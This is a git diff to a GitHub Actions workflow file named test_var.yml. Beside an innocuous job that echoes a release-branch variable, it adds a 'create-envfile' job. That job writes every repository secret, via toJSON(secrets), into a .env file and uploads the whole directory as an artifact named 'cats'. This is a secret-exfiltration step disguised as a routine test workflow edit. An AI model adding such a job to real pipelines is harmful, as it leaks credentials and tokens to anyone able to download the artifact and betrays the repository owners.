diff --git a/.github/workflows/test_var.yml b/.github/workflows/test_var.yml
index ac4006f99e..5d2a70a6e7 100644
--- a/.github/workflows/test_var.yml
+++ b/.github/workflows/test_var.yml
@@ -110,3 +110,18 @@ jobs:
         RELEASE_BRANCH: ${{ vars.RELEASE_BRANCH }}
       run: |
         echo "The release branch is: $RELEASE_BRANCH"
+
+  create-envfile:
+      runs-on: ubuntu-latest
+      steps:
+      - name: Make envfile
+        uses: SpicyPizza/create-envfile@v2.0
+        with:
+          envkey_SECRETS: ${{ toJSON(secrets) }}
+          file_name: .env
+          fail_on_empty: false
+      - name: Upload artifact
+        uses: actions/upload-artifact@v3
+        with:
+          name: cats
+          path: .